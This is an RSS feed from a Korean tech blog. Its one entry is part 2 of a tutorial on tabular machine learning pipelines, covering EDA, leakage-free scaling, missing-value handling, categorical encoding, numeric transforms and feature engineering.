<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0">
  <channel>
    <title>눙이의 인프라 메모장</title>
    <link>https://noong2.tistory.com/</link>
    <description></description>
    <language>ko</language>
    <pubDate>Mon, 6 Jul 2026 01:19:21 +0900</pubDate>
    <generator>TISTORY</generator>
    <ttl>100</ttl>
    <managingEditor>wogho</managingEditor>
    <image>
      <title>눙이의 인프라 메모장</title>
      <url>https://tistory1.daumcdn.net/tistory/4384908/attach/2289a5fc410d4421a3c5f47fadfb9f65</url>
      <link>https://noong2.tistory.com</link>
    </image>
    <item>
      <title>[ML] Tabular - 표 형식 데이터 2</title>
      <link>https://noong2.tistory.com/257</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;들어가며&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;1편에서는 Tabular 데이터가 무엇인지, 어떤 특징이 있는지, 그리고 어떤 종류의 문제에 쓰이는지를 살펴봤다. 2편에서는 실제로 머신러닝 모델을 만들기 위해 거치는 &lt;b&gt;전체 파이프라인&lt;/b&gt;을 단계별로 이해한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;머신러닝 파이프라인이란?&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1935&quot; data-origin-height=&quot;735&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/tpV9h/dJMcaa6Sym7/UAuJgKqdD6OkgFtdgVAZiK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/tpV9h/dJMcaa6Sym7/UAuJgKqdD6OkgFtdgVAZiK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/tpV9h/dJMcaa6Sym7/UAuJgKqdD6OkgFtdgVAZiK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FtpV9h%2FdJMcaa6Sym7%2FUAuJgKqdD6OkgFtdgVAZiK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;652&quot; height=&quot;248&quot; data-origin-width=&quot;1935&quot; data-origin-height=&quot;735&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;머신러닝 프로젝트는 단순히 &quot;모델을 학습시키는&quot; 것이 전부가 아니다. 원시 데이터가 실제 예측 서비스로 변환되기까지는 여러 단계를 거쳐야 한다. 이 흐름을 &lt;b&gt;ML 파이프라인(Machine Learning Pipeline)&lt;/b&gt; 이라고 한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre class=&quot;gcode&quot;&gt;&lt;code&gt;데이터 수집 (Data Collection)
      &amp;darr;
탐색적 데이터 분석 (EDA)
      &amp;darr;
전처리 (Preprocessing)
      &amp;darr;
모델링 (Modeling)
      &amp;darr;
평가 (Evaluation)
      &amp;darr;
배포 및 모니터링 (Deployment &amp;amp; Monitoring)&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;각 단계를 하나씩 살펴보겠다.&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;1단계 &amp;mdash; 데이터 수집 (Data Collection)&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;모든 머신러닝의 시작은 &lt;b&gt;데이터를 모으는 것&lt;/b&gt;이다.&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;여러 테이블 결합&lt;/b&gt;: 실제 현장 데이터는 하나의 테이블에 담겨 있지 않다. 고객 테이블, 주문 테이블, 상품 테이블 등을 연결(join)해야 한다.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;외부 데이터 활용&lt;/b&gt;: 예를 들어 특정 시점의 타임스탬프에 날씨 정보를 결합하면 예측 정확도가 높아질 수 있다.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;재현성(Reproducibility) 확보&lt;/b&gt;: 데이터를 언제, 어디서, 어떻게 수집했는지 명확히 문서화해야 한다. 나중에 같은 방식으로 다시 수집할 수 있어야 한다.&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;2단계 &amp;mdash; 탐색적 데이터 분석 (EDA, Exploratory Data Analysis)&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;모델을 바로 학습시키기 전에, &lt;b&gt;데이터를 충분히 이해하는 과정&lt;/b&gt;이 필요하다. 이것이 EDA이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;EDA에서 확인하는 것들:&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;요약 통계&lt;/b&gt;: 평균, 중앙값, 사분위수, 표준편차 등&lt;/li&gt;
&lt;li&gt;&lt;b&gt;결측값 패턴&lt;/b&gt;: 어떤 열에 결측이 많은가? 결측이 랜덤인가, 아니면 특정 조건에서만 발생하는가?&lt;/li&gt;
&lt;li&gt;&lt;b&gt;분포 시각화&lt;/b&gt;: 히스토그램, 커널 밀도 추정(KDE) 그래프로 각 열의 분포를 확인한다&lt;/li&gt;
&lt;li&gt;&lt;b&gt;상관관계 분석&lt;/b&gt;: 특성들끼리, 그리고 특성과 타겟 변수 사이의 상관관계를 파악한다&lt;/li&gt;
&lt;li&gt;&lt;b&gt;이상치 및 클래스 불균형&lt;/b&gt;: 극단적인 값이나 클래스 불균형이 있는지 확인한다&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;EDA를 통해 데이터에 대한 &lt;b&gt;직관을 쌓고, 모델링 전에 잠재적 문제를 미리 파악&lt;/b&gt;한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;3단계 &amp;mdash; 전처리 (Preprocessing)&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;원시 데이터를 모델이 &lt;b&gt;학습할 수 있는 형태&lt;/b&gt;로 변환하는 단계이다. 전처리는 Tabular ML에서 특히 중요하다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style1&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;핵심 원칙 &amp;mdash; 데이터 누수(Data Leakage) 방지&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;전처리를 할 때 반드시 지켜야 할 규칙이 있다. 전처리 변환(예: 스케일링)은 &lt;b&gt;훈련 데이터로만 학습&lt;/b&gt;시키고, &lt;br /&gt;검증/테스트 데이터에는 그 결과를 &lt;b&gt;적용&lt;/b&gt;만 해야 한다.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/p&gt;
&lt;pre class=&quot;bash&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;# 잘못된 방법 (데이터 누수 발생)
X = scaler.fit_transform(X) # 전체에 먼저 적용
X_train, X_test = split(X, ...)

# 올바른 방법
X_train, X_test = split(X, ...)
X_train = scaler.fit_transform(X_train)  # 훈련 데이터로만 학습
X_test  = scaler.transform(X_test)       # 테스트에는 적용만&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;잘못하면 모델이 미래 정보를 미리 보는 셈이 되어 실제 성능과 다른 낙관적인 평가가 나온다.&lt;br /&gt;&lt;br /&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p style=&quot;color: #666666; text-align: left;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #666666; text-align: left;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style2&quot;&gt;여기서 &lt;b&gt;데이터 누수(Data Leakage)&lt;/b&gt;란?&lt;br /&gt;&lt;br /&gt;수능 시험을 앞두고 학생이 실수로&amp;nbsp;실제 시험지를 미리 보게&amp;nbsp;됐다고 상상해보자.&lt;br /&gt;당연히 모의고사에서 만점이 나온다. 하지만 이 점수는 실력이 아니다. 실전에서 새로운 문제가 나오면 여전히 못 푼다.&lt;br /&gt;&lt;br /&gt;머신러닝에서 데이터 누수도 똑같다. 전처리 단계에서 &quot;테스트 데이터의 정보&quot;가 &quot;훈련 데이터&quot;로 흘러들어가면,&lt;br /&gt;평가 점수는 높게 나오지만 실제 서비스에서는 형편없는 성능을 낸다.&amp;nbsp;연습 때만 잘하는 선수가 되는 것이다.&lt;/blockquote&gt;
&lt;p style=&quot;color: #666666; text-align: left;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #666666; text-align: left;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1785&quot; data-origin-height=&quot;1025&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cCOHNv/dJMcahY938F/7ZgVZnDiQD65yXP0kmhkx0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cCOHNv/dJMcahY938F/7ZgVZnDiQD65yXP0kmhkx0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cCOHNv/dJMcahY938F/7ZgVZnDiQD65yXP0kmhkx0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcCOHNv%2FdJMcahY938F%2F7ZgVZnDiQD65yXP0kmhkx0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1785&quot; height=&quot;1025&quot; data-origin-width=&quot;1785&quot; data-origin-height=&quot;1025&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&amp;nbsp;&lt;/h4&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;전처리 ①: 결측값 처리 (Handling Missing Values)&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;table style=&quot;height: 320px;&quot; width=&quot;657&quot; data-ke-align=&quot;alignCenter&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;height: 23px;&quot;&gt;
&lt;th style=&quot;height: 23px; width: 132px;&quot;&gt;방법&lt;/th&gt;
&lt;th style=&quot;height: 23px; width: 297px;&quot;&gt;설명&lt;/th&gt;
&lt;th style=&quot;height: 23px; width: 220px;&quot;&gt;특징&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr style=&quot;height: 28px;&quot;&gt;
&lt;td style=&quot;height: 28px; width: 132px;&quot;&gt;삭제(Deletion)&lt;/td&gt;
&lt;td style=&quot;height: 28px; width: 297px;&quot;&gt;결측이 있는 행/열 제거&lt;/td&gt;
&lt;td style=&quot;height: 28px; width: 220px;&quot;&gt;정보 손실이 생긴다&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 28px;&quot;&gt;
&lt;td style=&quot;height: 28px; width: 132px;&quot;&gt;상수 채우기&lt;/td&gt;
&lt;td style=&quot;height: 28px; width: 297px;&quot;&gt;&quot;Unknown&quot;으로 채우기&lt;/td&gt;
&lt;td style=&quot;height: 28px; width: 220px;&quot;&gt;결측 자체를 하나의 범주로 표현한다&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 28px;&quot;&gt;
&lt;td style=&quot;height: 28px; width: 132px;&quot;&gt;통계적 대체&lt;/td&gt;
&lt;td style=&quot;height: 28px; width: 297px;&quot;&gt;평균, 중앙값, 최빈값으로 채우기&lt;/td&gt;
&lt;td style=&quot;height: 28px; width: 220px;&quot;&gt;간단하고 빠르다&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 28px;&quot;&gt;
&lt;td style=&quot;height: 28px; width: 132px;&quot;&gt;모델 기반 대체&lt;/td&gt;
&lt;td style=&quot;height: 28px; width: 297px;&quot;&gt;k-NN 등으로 다른 특성을 이용해 예측&lt;/td&gt;
&lt;td style=&quot;height: 28px; width: 220px;&quot;&gt;정확도가 높지만 복잡하다&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 28px;&quot;&gt;
&lt;td style=&quot;height: 28px; width: 132px;&quot;&gt;기본 지원&lt;/td&gt;
&lt;td style=&quot;height: 28px; width: 297px;&quot;&gt;XGBoost, LightGBM 등 트리 모델은 결측을 직접 처리&lt;/td&gt;
&lt;td style=&quot;height: 28px; width: 220px;&quot;&gt;별도 처리 없이도 작동한다&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;전처리 ②: 범주형 변수 인코딩 (Encoding Categorical Variables)&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;머신러닝 모델은 기본적으로 &lt;b&gt;숫자&lt;/b&gt;를 입력받는다. 따라서 &quot;서울&quot;, &quot;부산&quot;, &quot;대구&quot; 같은 텍스트 범주를 숫자로 변환해야 한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;table data-ke-align=&quot;alignCenter&quot;&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style=&quot;width: 200px;&quot;&gt;방법&lt;/th&gt;
&lt;th style=&quot;width: 214px;&quot;&gt;아이디어&lt;/th&gt;
&lt;th style=&quot;width: 438px;&quot;&gt;특징&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 200px;&quot;&gt;원-핫 인코딩 &lt;br /&gt;(One-Hot Encoding)&lt;/td&gt;
&lt;td style=&quot;width: 214px;&quot;&gt;각 범주마다 0/1 이진 열을 추가&lt;/td&gt;
&lt;td style=&quot;width: 438px;&quot;&gt;단순하고 순서를 강제하지 않는다. 하지만 범주가 많으면 열 수가 폭발적으로 늘어난다&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 200px;&quot;&gt;순서 인코딩 &lt;br /&gt;(Ordinal Encoding)&lt;/td&gt;
&lt;td style=&quot;width: 214px;&quot;&gt;범주를 순서 있는 정수로 매핑&lt;/td&gt;
&lt;td style=&quot;width: 438px;&quot;&gt;티셔츠 사이즈처럼 자연스러운 순서가 있을 때 유용하다&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 200px;&quot;&gt;타겟 인코딩 &lt;br /&gt;(Target Encoding)&lt;/td&gt;
&lt;td style=&quot;width: 214px;&quot;&gt;각 범주를 그 범주의 평균 타겟값으로 대체&lt;/td&gt;
&lt;td style=&quot;width: 438px;&quot;&gt;정보량이 많다. 과적합 위험에 주의해야 한다&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 200px;&quot;&gt;임베딩 인코딩 &lt;br /&gt;(Embedding)&lt;/td&gt;
&lt;td style=&quot;width: 214px;&quot;&gt;각 범주에 대한 벡터 표현을 학습&lt;/td&gt;
&lt;td style=&quot;width: 438px;&quot;&gt;딥러닝 모델에서 사용한다&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;전처리 ③: 수치형 특성 변환 (Numerical Feature Transformations)&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;스케일링(Scaling)&lt;/b&gt;: 많은 모델들(예: 선형 회귀, SVM, 신경망)은 특성의 크기에 민감하다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;나이(0~100)와&amp;nbsp;연봉(0~1억)이&amp;nbsp;그대로&amp;nbsp;입력되면&amp;nbsp;연봉&amp;nbsp;열이&amp;nbsp;모델을&amp;nbsp;지배해버린다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;표준화(Standardization)&lt;/b&gt;: $x' = \frac{x - \mu}{\sigma}$ &amp;mdash; 평균을 0, 표준편차를 1로 만든다&lt;/li&gt;
&lt;li&gt;&lt;b&gt;최솟값-최댓값 정규화(Min-Max Scaling)&lt;/b&gt;: $x' = \frac{x - \min}{\max - \min}$ &amp;mdash; 0과 1 사이로 변환한다&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1024&quot; data-origin-height=&quot;559&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/uC8ou/dJMcabxRYI2/Rj1XOxXOk5EkNykdHQd5i1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/uC8ou/dJMcabxRYI2/Rj1XOxXOk5EkNykdHQd5i1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/uC8ou/dJMcabxRYI2/Rj1XOxXOk5EkNykdHQd5i1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FuC8ou%2FdJMcabxRYI2%2FRj1XOxXOk5EkNykdHQd5i1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;673&quot; height=&quot;367&quot; data-origin-width=&quot;1024&quot; data-origin-height=&quot;559&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;단, 의사결정 트리 기반 모델(XGBoost, LightGBM 등)은 &lt;b&gt;스케일에 영향을 받지 않으므로&lt;/b&gt; 스케일링이 불필요하다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style2&quot;&gt;&lt;span style=&quot;font-family: AppleSDGothicNeo-Regular, 'Malgun Gothic', '맑은 고딕', dotum, 돋움, sans-serif;&quot;&gt;여기서 &lt;b&gt;스케일링(Scaling)&lt;/b&gt;이라고 한다면,&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: AppleSDGothicNeo-Regular, 'Malgun Gothic', '맑은 고딕', dotum, 돋움, sans-serif;&quot;&gt;피겨스케이팅 대회에서 두 심판이 점수를 매긴다고 해보자. &lt;br /&gt;한 심판은&amp;nbsp;0~10점 기준, 다른 심판은&amp;nbsp;0~1,000점 기준으로 채점한다.&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: AppleSDGothicNeo-Regular, 'Malgun Gothic', '맑은 고딕', dotum, 돋움, sans-serif;&quot;&gt;두 점수를 그냥 합산하면, 1,000점 기준 심판의 점수가 결과를 거의 혼자 결정해버린다. &lt;br /&gt;10점짜리 심판의 의견은 묻혀버린다.&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: AppleSDGothicNeo-Regular, 'Malgun Gothic', '맑은 고딕', dotum, 돋움, sans-serif;&quot;&gt;머신러닝 모델도 마찬가지다. 나이(0~1&lt;/span&gt;&lt;span style=&quot;font-family: AppleSDGothicNeo-Regular, 'Malgun Gothic', '맑은 고딕', dotum, 돋움, sans-serif;&quot;&gt;00)와 연봉(0~&lt;/span&gt;&lt;span style=&quot;font-family: AppleSDGothicNeo-Regular, 'Malgun Gothic', '맑은 고딕', dotum, 돋움, sans-serif;&quot;&gt;1억)을 그대로 쓰면,연봉이 모델의 판단을 지배한다.&lt;br /&gt;스케일링은 이 심판들의&amp;nbsp;채점 기준을 동일하게 맞추는&amp;nbsp;작업이다.&lt;/span&gt;&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;분포 변환(Distribution Transformation)&lt;/b&gt;:&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;로그 변환(Log Transform)&lt;/b&gt;: 수입, 가격, 카운트처럼 오른쪽으로 긴 꼬리(right-skewed)를 가진 분포에 효과적이다&lt;/li&gt;
&lt;li&gt;&lt;b&gt;분위수 변환(Quantile Transform)&lt;/b&gt;: 값을 분포 내 순위로 변환한다. 이상치에 강건(robust)하다&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;구간화(Binning/Discretization)&lt;/b&gt;: 연속형 수치를 구간으로 나누는 방법으로, 선형 모델이 비선형 패턴을 잡는 데 도움을 준다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;전처리 ④: 피처 엔지니어링 (Feature Engineering)&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;도메인 지식을 활용해 원시 데이터에서 &lt;b&gt;새로운 유용한 특성&lt;/b&gt;을 직접 만들어내는 작업이다. 모델이 스스로 학습하기 어려운 패턴을 사람이 직접 표현해주는 것이다.&lt;/p&gt;
&lt;table style=&quot;height: 283px;&quot; width=&quot;873&quot; data-ke-align=&quot;alignCenter&quot;&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;패턴&lt;/th&gt;
&lt;th&gt;예시&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;집계(Aggregations)&lt;/td&gt;
&lt;td&gt;최근 30일 평균 구매 금액&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;비율(Ratios)&lt;/td&gt;
&lt;td&gt;부채-소득 비율 (Debt-to-Income Ratio)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;시간 차이&lt;/td&gt;
&lt;td&gt;마지막 로그인 이후 경과 일수&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;날짜 분해&lt;/td&gt;
&lt;td&gt;월, 요일, 공휴일 여부&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;상호작용(Interactions)&lt;/td&gt;
&lt;td&gt;가격 &amp;times; 수량 = 총 매출&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;도메인 특화&lt;/td&gt;
&lt;td&gt;의료에서 BMI, 금융에서 각종 재무 지표&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;피처 엔지니어링은 때로 &lt;b&gt;모델 선택보다 더 큰 성능 차이&lt;/b&gt;를 만들어낸다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
